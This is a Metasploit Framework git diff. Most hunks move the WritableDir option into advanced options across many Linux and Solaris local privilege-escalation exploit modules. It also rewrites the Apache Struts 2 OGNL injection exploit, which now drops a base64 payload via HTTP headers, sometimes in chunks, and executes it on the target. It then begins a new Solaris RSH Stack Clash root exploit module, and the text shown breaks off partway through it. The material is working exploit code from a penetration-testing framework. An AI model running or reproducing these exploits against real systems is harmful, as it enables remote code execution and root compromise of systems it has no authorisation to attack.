register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
|
|
|
@ -44,9 +44,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'DefaultTarget' => 0))
|
||||
register_options([
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
|
|
|
@ -75,7 +75,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptString.new('PASSWORD', [ true, 'Password for the current user', '' ]),
|
||||
OptString.new('PASSWORD', [ true, 'Password for the current user', '' ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
|
|
@ -49,13 +49,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
[ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
|
||||
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||
])
|
||||
register_options [
|
||||
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
|
||||
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
|
|
|
@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'PrependFork' => true
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
end
|
||||
|
|
|
@ -47,9 +47,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Privileged' => true
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
|
|
|
@ -55,11 +55,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
[ 'CVE', '2015-8660']
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||
])
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
|
|
|
@ -54,11 +54,13 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DisclosureDate' => "Apr 01 2011"
|
||||
))
|
||||
register_options([
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
||||
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
|
||||
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
|
||||
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ])
|
||||
])
|
||||
register_advanced_options [
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
|
||||
]
|
||||
end
|
||||
|
||||
def executable_path
|
||||
|
|
|
@ -61,8 +61,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
}
|
||||
))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
|
|
|
@ -51,7 +51,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
],
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
|
|
@ -66,9 +66,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DisclosureDate' => 'Aug 13 2009',
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
|
|
|
@ -47,11 +47,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
# These are not OptPath becuase it's a *remote* path
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
|
||||
OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]),
|
||||
])
|
||||
register_options [
|
||||
OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
|
|
|
@ -50,10 +50,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DisclosureDate' => "Apr 16 2009",
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
|
||||
OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]),
|
||||
])
|
||||
register_options [
|
||||
OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
|
||||
]
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -67,7 +67,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
|
|
@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Privileged' => true ))
|
||||
register_options [
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
|
|
@ -51,9 +51,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DisclosureDate' => "Aug 22 2013"
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
|
||||
])
|
||||
register_advanced_options [
|
||||
OptString.new("WritableDir", [ true, "A directory where you can write files.", "/tmp" ])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -69,10 +69,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
|
||||
end
|
||||
|
||||
lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
|
||||
lsb_path = File.join(datastore['WritableDir'], 'lsb_release')
|
||||
write_file(lsb_path, generate_payload_exe)
|
||||
cmd_exec("chmod +x #{lsb_path}")
|
||||
cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
|
||||
cmd_exec("PATH=#{datastore['WritableDir']}:$PATH /usr/bin/vmware-mount")
|
||||
# Delete it here instead of using FileDropper because the original
|
||||
# session can clean it up
|
||||
cmd_exec("rm -f #{lsb_path}")
|
||||
|
|
|
@ -36,11 +36,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DefaultTarget' => 0,
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
# These are not OptPath becuase it's a *remote* path
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
|
||||
OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]),
|
||||
])
|
||||
register_options [
|
||||
OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ])
|
||||
]
|
||||
end
|
||||
|
||||
def check
|
||||
|
|
|
@ -12,6 +12,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
|
||||
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
|
||||
|
||||
# NOTE: Debugging code has been stripped, but is available in the commit history: a9e625789175a4c4fdfc7092eedfaf376e4d648e
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
|
||||
|
@ -20,11 +22,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
|
||||
via an endpoint that makes use of a redirect action.
|
||||
|
||||
Note that this exploit is dependant on the version of Tomcat running on
|
||||
the target. Versions of Tomcat starting with 7.0.88 currently don't
|
||||
support payloads larger than ~7.5kb. Windows Meterpreter sessions on
|
||||
Tomcat >=7.0.88 are currently not supported.
|
||||
|
||||
Native payloads will be converted to executables and dropped in the
|
||||
server's temp dir. If this fails, try a cmd/* payload, which won't
|
||||
have to write to the disk.
|
||||
},
|
||||
#TODO: Is that second paragraph above still accurate?
|
||||
'Author' => [
|
||||
'Man Yue Mo', # Discovery
|
||||
'hook-s3c', # PoC
|
||||
|
@ -67,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
|
||||
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
|
||||
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
|
||||
OptBool.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
|
@ -120,6 +126,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
elsif resp.nil?
|
||||
fail_with(Failure::Unreachable,"Target did not respond. Please double check RHOSTS and RPORT")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -140,7 +148,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
# '\r' ends the GET request prematurely
|
||||
# '\n' ends the GET request prematurely
|
||||
|
||||
# TODO: Make sure the following line is uncommented
|
||||
bad_chars = %w[; \\ \r \n] # and maybe '/'
|
||||
bad_chars.each do |c|
|
||||
if ognl.include? c
|
||||
|
@ -176,53 +183,38 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return ognl
|
||||
end
|
||||
|
||||
def send_struts_request(ognl, payload: nil)
|
||||
=begin #badchar-checking code
|
||||
pre = ognl
|
||||
=end
|
||||
|
||||
def send_struts_request(ognl, payload: nil, headers: nil)
|
||||
ognl = "${#{ognl}}"
|
||||
vprint_status("Submitted OGNL: #{ognl}")
|
||||
ognl = encode_ognl(ognl)
|
||||
|
||||
headers = {'Keep-Alive': 'timeout=5, max=1000'}
|
||||
if headers.nil?
|
||||
headers = {'Keep-Alive': 'timeout=5, max=1000'}
|
||||
end
|
||||
|
||||
if payload
|
||||
vprint_status("Embedding payload of #{payload.length} bytes")
|
||||
headers[datastore['HEADER']] = payload
|
||||
end
|
||||
|
||||
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
|
||||
# TODO: Consider embedding OGNL in an HTTP header to hide it from the Tomcat logs
|
||||
uri = "/#{ognl}/#{datastore['ACTION']}"
|
||||
|
||||
resp = send_request_cgi(
|
||||
r = send_request_cgi(
|
||||
#'encode' => true, # this fails to encode '\', which is a problem for me
|
||||
'uri' => uri,
|
||||
'method' => datastore['HTTPMethod'],
|
||||
'headers' => headers
|
||||
)
|
||||
|
||||
if resp && resp.code == 404
|
||||
if r && r.code == 404
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
|
||||
end
|
||||
|
||||
=begin #badchar-checking code
|
||||
print_status("Response code: #{resp.code}")
|
||||
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
|
||||
if resp.headers['Location']
|
||||
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
|
||||
if resp.headers['Location'].split('/')[1] == pre[1..-2]
|
||||
print_good("GOT 'EM!")
|
||||
else
|
||||
print_error(" #{pre[1..-2]}")
|
||||
end
|
||||
end
|
||||
=end
|
||||
|
||||
resp
|
||||
return r
|
||||
end
|
||||
|
||||
def profile_target
|
||||
def send_profile
|
||||
# Use OGNL to extract properties from the Java environment
|
||||
|
||||
properties = { 'os.name': nil, # e.g. 'Linux'
|
||||
|
@ -281,14 +273,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd_input, opts={})
|
||||
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
|
||||
if cmd_input.include? ';'
|
||||
print_warning("WARNING: Command contains bad characters: semicolons (;).")
|
||||
end
|
||||
|
||||
def profile_os
|
||||
# Probe for the target OS and architecture
|
||||
begin
|
||||
properties = profile_target
|
||||
properties = send_profile()
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
|
@ -297,10 +285,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
end
|
||||
return os
|
||||
end
|
||||
|
||||
if (os.include? 'linux') || (os.include? 'nix')
|
||||
def execute_command(cmd_input, opts={})
|
||||
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
|
||||
if cmd_input.include? ';'
|
||||
print_warning("WARNING: Command contains bad characters: semicolons (;).")
|
||||
end
|
||||
|
||||
os = profile_os()
|
||||
|
||||
if os && ((os.include? 'linux') || (os.include? 'nix'))
|
||||
cmd = "{'sh','-c','#{cmd_input}'}"
|
||||
elsif os.include? 'win'
|
||||
elsif os && (os.include? 'win')
|
||||
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
|
||||
else
|
||||
vprint_error("Failed to detect target OS. Attempting to execute command directly")
|
||||
|
@ -336,18 +334,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def send_payload
|
||||
# Probe for the target OS and architecture
|
||||
begin
|
||||
properties = profile_target
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
os = ''
|
||||
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
|
||||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
data_header = datastore['HEADER']
|
||||
if data_header.empty?
|
||||
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
|
||||
end
|
||||
|
||||
payload = generate_payload_exe
|
||||
print_status("Generated #{payload.length} byte binary payload")
|
||||
payload_b64 = [payload].pack("m").delete("\n")
|
||||
|
||||
if payload_b64.length < 8100
|
||||
send_payload_oneshot(payload_b64)
|
||||
else
|
||||
send_payload_multishot(payload)
|
||||
end
|
||||
end
|
||||
|
||||
def send_payload_oneshot(payload)
|
||||
data_header = datastore['HEADER']
|
||||
if data_header.empty?
|
||||
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
|
||||
|
@ -355,18 +358,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
random_filename = datastore['TEMPFILE']
|
||||
|
||||
# d = data stream from HTTP header
|
||||
# d = payload data
|
||||
# f = path to temp file
|
||||
# s = stream/handle to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','.tmp')).|
|
||||
ognl << %q|(#f.setExecutable(true)).|
|
||||
ognl << %q|(#f.deleteOnExit()).|
|
||||
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
|
||||
ognl << %q|(#s.write(#d)).|
|
||||
#TODO: Consider GZIP: ognl << %q|(#s.write(java.util.zip.GZIPInputStream(#d).read())).|
|
||||
ognl << %q|(#s.close()).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
|
||||
ognl << %q|(#p.start()).|
|
||||
|
@ -375,8 +379,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
|
||||
exe = [generate_payload_exe].pack("m").delete("\n")
|
||||
r = send_struts_request(ognl, payload: exe)
|
||||
r = send_struts_request(ognl, payload: payload)
|
||||
|
||||
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
|
||||
print_good("Payload successfully dropped and executed.")
|
||||
|
@ -387,4 +390,120 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
|
||||
end
|
||||
end
|
||||
|
||||
def ognl_create_file()
|
||||
filename = datastore['TEMPFILE']
|
||||
|
||||
# f = path to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{filename}','.exe')).|
|
||||
ognl << %q|(#f.setExecutable(true)).|
|
||||
ognl << %q|(#f.deleteOnExit()).|
|
||||
ognl << %q|(#f)|
|
||||
|
||||
r = send_struts_request(ognl)
|
||||
|
||||
begin
|
||||
tempfile = r.headers['Location']
|
||||
tempfile = tempfile[1..-(2+datastore['ACTION'].length)]
|
||||
if tempfile.empty?
|
||||
fail_with(Failure::UnexpectedReply,"Unable to create and locate file on target. Try a cmd/*/generic payload")
|
||||
end
|
||||
rescue
|
||||
fail_with(Failure::UnexpectedReply,"Unable to create and locate file. Try a cmd/*/generic payload")
|
||||
end
|
||||
|
||||
return tempfile
|
||||
end
|
||||
|
||||
def send_payload_multishot(payload)
|
||||
tempfile = ognl_create_file()
|
||||
print_status("Temp file created: #{tempfile}")
|
||||
|
||||
payload_cursor = 0
|
||||
|
||||
while payload_cursor < payload.length
|
||||
payload_size = rand(4500..5000) # payload_size cannot exceed 5645 in my testing
|
||||
payload_start = payload_cursor
|
||||
payload_end = payload_cursor + payload_size
|
||||
payload_end = payload.size if payload_end > payload.size
|
||||
|
||||
chunk_bin = payload[payload_start..payload_end]
|
||||
chunk_b64 = [chunk_bin].pack("m").delete("\n")
|
||||
print_status("Sending payload chunk: #{chunk_b64.length} bytes")
|
||||
ognl_append_file(tempfile, chunk_b64)
|
||||
|
||||
payload_cursor = payload_end + 1
|
||||
end
|
||||
|
||||
ognl_execute(tempfile)
|
||||
end
|
||||
|
||||
def ognl_append_file(payload_file, payload_chunk)
|
||||
data_header = datastore['HEADER'] + 'd'
|
||||
file_header = datastore['HEADER'] + 'f'
|
||||
headers = {
|
||||
"#{data_header}": payload_chunk,
|
||||
"#{file_header}": payload_file,
|
||||
}
|
||||
|
||||
# d = payload data
|
||||
# f = path to temp file
|
||||
# s = stream/handle to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
|
||||
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
|
||||
ognl << %q|(#s=new java.io.FileOutputStream(#f,1)).|
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
|
||||
ognl << %q|(#s.write(#d)).|
|
||||
ognl << %q|(#s.close()).|
|
||||
|
||||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
r = send_struts_request(ognl, headers: headers)
|
||||
|
||||
begin
|
||||
if r.headers['Location'].include? success_string
|
||||
vprint_good("OGNL payload chunk sent successfully.")
|
||||
return
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "OGNL payload upload did not respond")
|
||||
end
|
||||
rescue
|
||||
fail_with(Failure::UnexpectedReply, "OGNL payload upload failed")
|
||||
end
|
||||
end
|
||||
|
||||
def ognl_execute(file)
|
||||
file_header = datastore['HEADER'] + 'f'
|
||||
headers = {
|
||||
"#{file_header}": file,
|
||||
}
|
||||
|
||||
# f = path to temp file
|
||||
# p = process handle
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder(#f)).|
|
||||
ognl << %q|(#p.start()).|
|
||||
ognl << %q|(#f.delete()).|
|
||||
|
||||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
r = send_struts_request(ognl, headers: headers)
|
||||
|
||||
begin
|
||||
if r.code==302
|
||||
print_good("OGNL payload executed successfully.")
|
||||
else
|
||||
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
|
||||
end
|
||||
rescue
|
||||
vprint_status("TARGET RESPONDED: #{r.to_s}")
|
||||
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while attempting to execute the payload")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,552 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Solaris::Priv
|
||||
include Msf::Post::Solaris::System
|
||||
include Msf::Post::Solaris::Kernel
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Solaris RSH Stack Clash Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in RSH on unpatched Solaris
|
||||
systems which allows users to gain root privileges.
|
||||
|
||||
The stack guard page on unpatched Solaris systems is of
|
||||
insufficient size to prevent collisions between the stack
|
||||
and heap memory, aka Stack Clash.
|
||||
|
||||
This module uploads and executes Qualys' Solaris_rsh.c exploit,
|
||||
which exploits a vulnerability in RSH to bypass the stack guard
|
||||
page to write to the stack and create a SUID root shell.
|
||||
|
||||
This module has offsets for Solaris versions 11.1 (x86) and
|
||||
Solaris 11.3 (x86).
|
||||
|
||||
Exploitation will usually complete within a few minutes using
|
||||
the default number of worker threads (10). Occasionally,
|
||||
exploitation will fail. If the target system is vulnerable,
|
||||
usually re-running the exploit will be successful.
|
||||
|
||||
This module has been tested successfully on Solaris 11.1 (x86)
|
||||
and Solaris 11.3 (x86).
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['BID', '99151'],
|
||||
['BID', '99153'],
|
||||
['CVE', '2017-1000364'],
|
||||
['CVE', '2017-3629'],
|
||||
['CVE', '2017-3630'],
|
||||
['CVE', '2017-3631'],
|
||||
['EDB', '42270'],
|
||||
['URL', 'http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-3629-3757403.html'],
|
||||
['URL', 'https://blog.qualys.com/securitylabs/2017/06/19/the-stack-clash'],
|
||||
['URL', 'https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt']
|
||||
],
|
||||
'Notes' => { 'AKA' => ['Stack Clash', 'Solaris_rsh.c'] },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Qualys Corporation', # Stack Clash technique and Solaris_rsh.c exploit
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Jun 19 2017',
|
||||
'Privileged' => true,
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic', {}],
|
||||
['Solaris 11.1', {}],
|
||||
['Solaris 11.3', {}]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'cmd/unix/bind_netcat',
|
||||
'WfsDelay' => 10,
|
||||
'PrependFork' => true
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptInt.new('WORKERS', [true, 'Number of workers', '10']),
|
||||
OptString.new('RSH_PATH', [true, 'Path to rsh executable', '/usr/bin/rsh'])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
end
|
||||
|
||||
def rsh_path
|
||||
datastore['RSH_PATH']
|
||||
end
|
||||
|
||||
def mkdir(path)
|
||||
vprint_status "Creating '#{path}' directory"
|
||||
cmd_exec "mkdir -p #{path}"
|
||||
register_dir_for_cleanup path
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_compile(path, data)
|
||||
upload "#{path}.c", data
|
||||
|
||||
output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -Wall -std=gnu99 -o #{path} #{path}.c"
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{path}.c failed to compile"
|
||||
end
|
||||
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def symlink(link_target, link_name)
|
||||
print_status "Symlinking #{link_target} to #{link_name}"
|
||||
rm_f link_name
|
||||
cmd_exec "ln -sf #{link_target} #{link_name}"
|
||||
register_file_for_cleanup link_name
|
||||
end
|
||||
|
||||
def check
|
||||
unless setuid? rsh_path
|
||||
